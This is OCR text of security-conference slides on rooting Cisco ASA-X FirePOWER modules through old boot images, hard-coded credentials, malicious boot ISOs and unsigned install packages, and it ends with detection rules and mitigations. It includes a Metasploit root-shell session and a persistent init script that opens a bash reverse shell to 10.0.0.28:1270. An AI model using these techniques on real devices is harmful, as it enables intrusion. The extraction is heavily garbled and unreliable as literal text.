a. Download the boot image on an FTP, TFTP, HTTP, or HTTPS server.

b. Enter the copy command into the CLI in order to download the boot image to the flash drive.
Here is an example that uses HTTP protocol (replace the <HTTP_Server> with your server |P address
this:ftp://username:password@server-ip/asasfr-5500x-boot-5.3.1-152.img .

ciscoasa# copy http://<HTTP_SERVER>/asasfr-5500x-boot-5.3.1-152.img
disk0:/asasfr-5500x-boot~5.3.1-152.img

3. Enter this command in order to configure the ASA SFR boot image location in the ASA flash drive:

ciscoasa# sw-module module sfr recover configure image diskO:/file path

Here is an example:

ciscoasa# sw-module module sfr recover configure image diskO:
/asasfr-5500x-boot~5.3.1-152.img

4. Enter this command in order to load the ASA SFR boot image:

ciscoasa# sw-module module sfr recover boot

Install and Configure a FirePOWER Services Module on an ASA Platform



https://www.cisco.com/c/en/us/support/docs/security/asa-firepower-services/118644-configure-firepower-00.html#anc5

Getting Root With an ASA-X FirePOWER Boot Image

Drop to the FirePOWER Boot Image Shell

Set Up the ASA SFR Boot Image
Complete these steps in order to set up the newly installed ASA SFR boot image:

1. Press Enter after you open a session in order to reach the login prompt.
%. Note: The default username is m The password differs based on software release:for 7.0.1 (new device from the factory only), for 6.0, and Iater,or pre-6.0.

Here is an example:

ciscoasa# session sfr console
Opening console session with module sfr.
Connected to module sfr. Escape character sequence is 'CTRL-"X'.

Cisco ASA SFR Boot Image 5.3.1
asasfr login: admin
Password: Adminl23

Install and Configure a FirePOWER Services Module on an ASA Platform



https://www.cisco.com/c/en/us/support/docs/security/asa-firepower-services/118644-configure-firepower-00.html#anc5

etting Root With an ASA-X FirecPOWER Boot Image

O
blackhat FirePOWER Boot Image Shell

FirePOWER Services Boot Image 6.2.3

admin

=
I

irePOWER

for

information. Enter
stem. Enter config

oY

system operation

Wizard




Getting Root With an ASA-X FirePOWER Boot Image

Boot Image Root Shell via Hard-Coded Creds

cisco123

FHS LnXUUeAZXgxcGKFSVIX1R1:14966:0:99999:7: : :

944EtyFCE521/:14966:0:99999:7: 1 :




Getting Root With an ASA-X FirePOWER Boot Imaqge

We're Back!

Cisco ASA-X with FirePOWER Services

Main System

E' Inside Firewall Policy VPN Decryption | ———
4
_—

Divéyted Traffic

ASA FirePOWER Services




msf6 exploit(linux/ssh/c
IMAGE_PATH =>
msf6 explo

disk0:/a

x_firepower

sax_firepower

x_firepower

x_Tirepower

0.12.
2 - Attempting t

tting SFR. ¢
Booting the image.

Configuring DHCP for the image

ion 1 opened (10

r progress

meterpreter > st
Pr 21
Channel 1 cr
uname -a

Linux

id

uid=0(root) gid=0(root)

firepower

11 take a

- 100.00%

1 #1 SMP PREEMPT Fri Nov 10 17:

Metasploit FirePO

5500x-boot-6.2.3-4.img

-6.2.3-4.img

boot_root) > set PASSWORD labpass

boot_root) > se
boot_root) > se
boot_root) > set

boot_root) > ru

252:44

few minutes

©/ieXiNV;chmod +X

done (111/111 bytes)

06:45 UTC 2017 x86_64 GNU/Linux

/tmp/scOKRUCR; /tmp/scOKRuCR; rm -f

Getting Root With an ASA-X FirePOWER Boot Image

ER Boot Image Root Shell Module

Exploitation

Exploit hard-coded credential establish root
shell on ASA-X with FirePOWER Services.

Not a vulnerability

Disclosed to vendor in March 2022

Vendor states this is not a vulnerability

Fixed in Boot Image 7.0+

Unpatchable? No mechanism to stop loading
of old boot images.

Exploits

tmp/scOKRuCR

Python script
SSH Metasploit module

ithub.com/jbaines-r7/slowcheetah

ithub.com/jbaines-r7/cisco_asa_research
tree/main/modules/boot_image_shell

0
i


https://github.com/jbaines-r7/cisco_asa_research/tree/main/modules/boot_image_shell
https://github.com/jbaines-r7/cisco_asa_research/tree/main/modules/boot_image_shell
https://github.com/jbaines-r7/slowcheetah

Distributable Malicious
FirePOWER Boot Image for ASA-X
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Distributable Malicious FirePOWER Boot Imaqge for ASA-X

Hacker Cat Has No Access!

af

Cisco ASA-X with FirePOWER Services

Main System
A
tsid
Firewall Policy VPN Decryption _Ou i EI
4
e
_’

AE—
4

e

Diverted Traffic

+

ASA FirePOWER
Module Deep Packet
Inspection

ASA FirePOWER Services
65




Distributable Malicious FirePOWER Boot Image for ASA-X
FirePOWER Boot Image Is... A Generic Bootable Linux ISO

asasfr-5500x-boot-5.4.1-211.img - ISO Master

File View Tools Help

@ Goback (@@New Directory

/home/

Name
@ albinolobster

@coback @NewDirectory @) Add

/[isolinux/

Name

=| isolinux.cfg
=| isolinux.bin
=| initramfs.gz
=| bzimage

=| boot.msg

=| boot.cat

v Size
dir

@Extract g Remove Estimated ISO Size: 39.6 MB

- | Skze
124B
14.0KB
36.1 MB
3.4MB
1248B
2.0KB




Distributable Malicious FirePOWER Boot Image for ASA-X

Cisco ASA-X with FirePOWER Services

Main System

_A— \ A—
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—p ———————

Diverted Traffic

ASA FirePOWER Services




Example

Generating the Image (reverse shell to 10.0.0.28:1270)

or, libburnia

Exploitation

- Create a Tiny Core Linux Bootable ISO
- Get Administrator to install it
- Sends a reverse shell to configured IP:port

Not a vulnerability

- No security expectations for the boot image.
- Doesn't persist through reboots.

Features

Reverse Shell
- SSH
DOOM-ASCII

O github.com/jbaines-r7/pinchme


https://github.com/jbaines-r7/pinchme

Distributable Malicious FirePOWER Boot Image for ASA-X

Cisco ASA-X with FirePOWER Services
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Distributable Malicious
FirePOWER Install Package for
ASA-X



4]

blackhat  ASA-X FirePOWER Module Install Package

( search.. ) ASA 5506-X with FirePOWER Services
Release 6.2.3 Related Links and Documentation

A My Notifications Firepower Hotfix Release Notes
Release Notes for 6.2.3
6.2.3.11 Documentation Roadmap

6.2.3.10

6.2.3.1
We recommend upgrading to our Suggested Release, as indicated by a gold star for each product, to take advantage

_ of resolved issues. For details, see the release notes.

6.2.2.5
File Information= Release Date Size
6.2.2.4
ASA FirePOWER module upgrade from 6.2.2 t0 6.2.3  28-Sep-2018 5.95 MB &
6.2.2.3 Do not untar
6.2.2.2 @
Cisco_Network_Sensor_Hotfix_H-6.2.3.999-5.sh.REL tar
6.2.2.1 Advisories []
6.2.2 ASA FirePOWER module upgrade from 6.2.2 t0 6.2.3  01-Apr-2018 1200.90 MB Xy
Do not untar
6.2.0.6
®
6.2.05 Cisco_Network_Sensor_Upgrade-6.2.3-83.sh.REL tar
Advisories [
6.2.0.4
ASA FirePOWER module boot image g 01-Apr-2018 40.97 MB 3\
2.0 asasfr-5500x-boot-6.2.3-4.img 1
i i A
6.2.0.2 Advisories []
6.2.0.1 ASA FirePOWER module install packagefg 01-Apr-2018 1278.99 MB Xy
asasfr-sys-6.2.3-83.pkg 2
6.2.0 Advisories [




n Distributable Malicious FirePOWER Install Package for ASA-X
black hat FirePOWER Boot Image Supports Signed Install Packages

def extract(self, pkg path, extract dir, keep pkg=
""" Extracts the package in the extract directory
:Parameters:

e extracted

- Whether to keep

os.system('rm -rf %s && mkdir -p %s' % (extract dir, extract dir))
supported formats = [EncryptedContentSignedChksumPkgWirapper.PKG FORMAT TYPE]

if ((PRODUCT_ASACX_BOOT == get_current_platform()) or (PRODUCT_ASASFR_BOOT == get_current_platform())):
supported formats.appendflChecksumPkgWrapper.PKG_FORMAT_TYPE])

self.pkg wrapper = pkg helper.find pkg wrapper(pkg path, supported formats)
if self.pkg wrapper:
self.pkg wrapper.unwrap(pkg_path, extract_dir)




Distributable Malicious FirePOWER Install Package for ASA-X

FirePOWER Module Signed Install Package

asasfr-sys-6.2.3-83.pkg - GHex = & X
File Edit View Windows Help
00000000 CO C5 00 60 00 06 00 00 06 77 69 67 6E 6F 72 65 69 74 03 GENGSNS . ........ wignoreit. K&l
00000016 00 00 00 €0 60 60 60 066 20 60 00 00 OC OD 30 48 92 7C 4D F4 72 74 ........ ..... OH. |M.rt
0000002C B1 B9 B2 DC 9B 66 37 52 03 53 45 E9 A8 27 CE 07 E@ 31 C7 7A 95 4F ..... * BB EE " a skl
00000042 04 63 68 65 63 6B 73 75 6D 60 00 00 00 01 00 00 31 35 30 66 37 37 .checksum....... 15077

0000O058 61 33 61 63 32 65 32 65 34 65 39 31 34 35 37 32 37 31 63 36 31 64 a3acle2ede91457271cb1d
00000O6E 31 62 37 62 34 64 32 63 37 33 61 37 66 31 37 33 34 30 63 62 32 30 1b7b4d2c73a7f17340cb20
00000084 63 35 38 33 66 32 34 36 38 33 38 30 33 32 30 37 39 30 66 64 37 61 c58312468380320790fd7a
0OOOOO9A 30 39 63 63 35 64 37 64 35 30 36 39 30 31 38 34 33 39 37 30 31 30 09cc5d7d50690184397010
000000BO 64 66 37 64 39 37 34 66 39 37 32 35 36 30 33 32 62 64 34 31 30 32 df7d974f97256032bd4102
0eO0EEC6 30 64 62 65 31 39 32 61 31 65 35 65 35 35 39 34 33 62 32 65 36 65 0dbel92ale5e55943b2ebe
000eOODC 65 31 63 38 36 31 61 38 31 30 38 36 37 34 66 35 35 64 33 37 63 34 elcB861a8108674f55d37c4




n Distributable Malicious FirePOWER Install Package for ASA-X
black hat FirePOWER Boot Image Supports Unsigned Install Packages

def extract(self, pkg path, extract dir, keep pkg=
""" Extracts the package in the extract directory
:Parameters:

e extracted

- Whether to keep

os.system('rm -rf %s && mkdir -p %s' % (extract dir, extract_dir))
supported formats = [EncryptedContentSignedChksumPkgWrapper.PKG FORMAT TYPE]

if ((PRODUCT_ASACX_BOOT == get_current_platform()) or (PRODUCT_ASASFR_BOOT == get_current_platform())):
supported formats.appendflChecksumPkgWrapper.PKG_FORMAT_TYPE])

self.pkg wrapper = pkg helper.find pkg wrapper(pkg path, supported formats)
if self.pkg wrapper:
self.pkg wrapper.unwrap(pkg_path, extract_dir)




Distributable Malicious FirePOWER Install Package for ASA-X

Distribute a Malicious Install Package?

Cisco ASA-X with FirePOWER Services
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Distributable Malicious FirePOWER Install Package for ASA-X

FirePOWER Module Unsigned Install Package

new.pkg - GHex - 0o &
File Edit View Windows Help
00000000 CO C5 00 OO0 00 05 00 00 02 74 69 67 6E 6F 72 65 69 74 01 _ ......... tignoreit.m
00000017 OO0 00 OO0 OO 00 OO 00 89 4A 4E 3A 42 5A 68 39 31 41 59 26 53 59 69 D1 ........ JN:BZh91AY&SYi.I
PREBBBDEEI63 2B 02 0F €F FF FEFF FE FF FE'FE FE FF FEFE FE EF FECFE FE EF BESE. . s aavemeiass
9o8QoBasEEF EF-EEFE EF EF-EESFE EF EF-EECFE EF EE- EECFEE EF AT STESTC 08 ADG2AW . o o ocnnsosssnnsomivninzemiiass = T Ted
0000005C 90 92 85 00 04 A2 A4 A9 09 28 80 14 51 52 28 14 24 51 54 3E 9A A2 80 ......... (..QR(.$QT>...
00000073 00 7B DE FO 00 01 EA 80 00 00 00 02 80 00 00 48 00 00 05 4A 4A 00 B5 .{............. Hiaaddn
00O0OOO8A 80 00 OO AO 05 00 2A 21 55 40 AO 0O 00 00 09 00 OO0 OA 04 A8 00 00 02 ...... gt ¢ RORCTC RO 5Y IO 1
000000A1 80 04 90 2A 00 00 92 80 00 00 04 82 82 80 0O OA DA OA 00 OO AD 00 50 ...* .. ... . iiiiiiinnan P
000000B8 24 00 25 45 14 00 OA 50 00 OA 04 A8 00 00 0O 00 00 0O OO0 OO0 00 00 00 $.%E...P....... ..
00000OCF 0O 00 00 0O OO0 OO OO OO0 OO OO0 OO0 OO OO0 OO OO OO0 OO OO0 00 OO 00 00 29 ... ... ittt nnnn )




Distributable Malicious FirePOWER Install Package for ASA-X

asasfr-sys-6.2.3-83.pkg - GHex = (=) €
File Edit View Windows Help
00000000 CO C5 00 00 00 06 00 00 06 77 69 67 6E 6F 72 65 69 74 03 GEJGSNE ......... wignoreit. k&Y
00000016 00 00 00 00 00 00 00 00 20 00 00 60 OC 6D 30 48 92 7C 4D F4 72 74 ........ ..... OH. |M.rt
0000002C B1 B9 B2 DC 9B 60 37 52 03 53 45 E9 A8 27 CE 07 E@ 31 C7 7A 95 4F ..... TR ISE e sapuliei 20
00000042 04 63 68 65 63 6B 73 75 6D 00 00 00 00 01 00 60 31 35 30 66 37 37 .checksum....... 15077

00000058 61 33 61 63 32 65 32 65 34 65 39 31 34 35 37 32 37 31 63 36 31 64 a3ac2e2e4e91457271c61d
0000006E 31 62 37 62 34 64 32 63 37 33 61 37 66 31 37 33 34 30 63 62 32 30 1b7b4d2c73a7f17340cb20
00000084 63 35 38 33 66 32 34 36 38 33 38 30 33 32 30 37 39 30 66 64 37 61 c583f2468380320790fd7a
0000OO9A 30 39 63 63 35 64 37 64 35 30 36 39 30 31 38 34 33 39 37 30 31 30 09cc5d7d50690184397010
000000BO 64 66 37 64 39 37 34 66 39 37 32 35 36 30 33 32 62 64 34 31 30 32 df7d974f97256032bd4102
000000C6 30 64 62 65 31 39 32 61 31 65 35 65 35 35 39 34 33 62 32 65 36 65 0dbel92ale5e55943b2ebe
000000DC 65 31 63 38 36 31 61 38 31 30 38 36 37 34 66 35 35 64 33 37 63 34 elc861a8108674155d37c4

new.pkg - GHex

File Edit View Windows Help
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0000002E 63 1B 02 OF CF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF Coovvvnnneennnnnnneenn.

00000045 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF E7 A7 7E 7C 00 A® 2A ........ccovvvnn.. ~]..*
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Exploitation

- Input valid and signed Cisco created
package. Output valid unsigned package
containing malicious code.

- Persistent payload. Survive reboots and
upgrades.

Not a vulnerability

- No security expectations on installation.

O github.com/jbaines-r7/whatsup


https://github.com/jbaines-r7/whatsup

Distributable Malicious FirePOWER Install Package for ASA-X

Create Malicious Install Packages

cat << EOF > S{MOUNTPOINT}/etc/rc.d/init.d/xploit
#!/bin/sh

Exploitation

#source /etc/rc.d/init.d/functions

#PATH="/usr /local/bin: /usr/bin:/bin: /usr/local/sf/bin:/sbin:/usr/sbin" ) Iann:vahd anchIQned Cisco created

package. Output valid unsigned package

xploit_start() { containing malicious code.
(while true; do sleep 300 && /bin/bash -1 >& /dev/tcp/10.0.0.28/1270 0>&1; done) & _ Persistent payload Survive reboots and
} upgrades.
case "\$1" in .
'start’) Not a vulnerability
xploit_start
*) - No security expectations on installation.

echo "usage $0 start|stop|restart”
esac
EOF

O github.com/jbaines-r7/whatsup

1n -s ../init.d/xploit S{MOUNTPOINT}/etc/rc.d/rc3.d/S31xploit
chmod +x ${MOUNTPOINT}/etc/rc.d/init.d/xploit



https://github.com/jbaines-r7/whatsup

Distributable Malicious FirePOWER Install Package for ASA-X

Back Again!

Cisco ASA-X with FirePOWER Services

Firewall Policy VPN Decryption <__Out5|de
e
_’

Main System

4

—’

Divertgd Traffic

ASA FirePOWER Services




Distributable Malicious Fir

.Not a Supply Chain Issue?

- a4  Cisco ASA 5506-X $750.00
— (Renewed)

Visit the Amazon Renewed Store

FREE delivery July 8 - 13.

Kt Details
RRWRW® ¥ 1rating

Or fastest delivery July 7 - 11.
Price: $750.00 Details

Pay $41.67/month for 18 months, © select delivery location

interest-free upon approval for the p
Amazon Rewards Visa Card Only 2 left in stock -

order soon.
The product is refurbished, is fully
functional and in excellent condition. VALY,
— Backed by the 90-day Amazon
Add to Cart
Renewed Guarantee.
- This pre-owned product has been
Buy Now

professionally inspected, tested and

A, &




Exploitation Summar

Do Not Trust the ASA?

This Talk Discussed

- Man in the middle problems

- Credential leaks

- Code signing issues

- Package signing issues

- Root shell as a feature

- Hard-coded credentials for a root shell

- Remote command injection for root access
- Executing arbitrary bootable ISO




Indicators and Mitigations
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Indicators and Mitigations
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Indicators and Mitigations

YARA Rules

File Edit Format View Help
Application Logging Started at Tue Jul 05 10:00:18 EDT 2022

Local Launcher Version = 1.9.0

New YARA Rules Local Launcher Version Display = 1.9(9)

OK button clicked

.. Trying for ASDM Version file; url = https://10.9.49.248:8443/admin/
Detect malicious ASDM packages Server Versioh = 7.14(1)

Detect execution of malicious SGZ Server Launcher Version = 1.0.0, size = 880128 bytes

. . Launcher version checking is successful.
Detect credentials in ASDM log files 1rioKiTE 567 LoadEr:

Detect unsigned FirePOWER install packages = '
SgzReader: unsigned entry com/cisco/pdm/PDMApplet.clas
Closing the login window app.

O dithub.com/jbaines-r7/cisco_asa_research/blob/main/yara/

Application Logging Ended at Tue Jul 05 11:04:20 EDT 2022

Ln 1, Col 1 100%



https://github.com/jbaines-r7/cisco_asa_research/blob/main/yara/

Indicators and Mitigations

Apply ASA and ASDM Patches?

e Eventually?
o No patches planned for ASA-X with FirePOWER
Services boot images or installation packages
o CVE-2021-1585 still unpatched
o CVE-2022-20829 still unpatched (maybe?)
o CVE-2022-20828 patches planned through
December 2022
e What to do when patches aren't available?
o Mitigating controls: limit access and isolate
o If possible, remove from network critical path
o Rotate passwords
e What to do about the ASA-X with FirePOWER Services?
o  Multiple distributable root shell vectors
Virtual machine root shell is a default feature
If possible, accelerate retirement and replace
Audit the virtual machine root shell regularly
Audit Cisco CLI / ASDM logins regularly

@)
@)
@)
O



RAPID

Thank you!

Slides & Code:

https://aithub.com/ibaines-r7/cisco_asa_research

(@jbaines-r7 ’ @Junior_Baines AKB' @jbaines-t/


https://github.com/jbaines-r7/cisco_asa_research
https://github.com/jbaines-r7
https://twitter.com/Junior_Baines
https://attackerkb.com/contributors/jbaines-r7

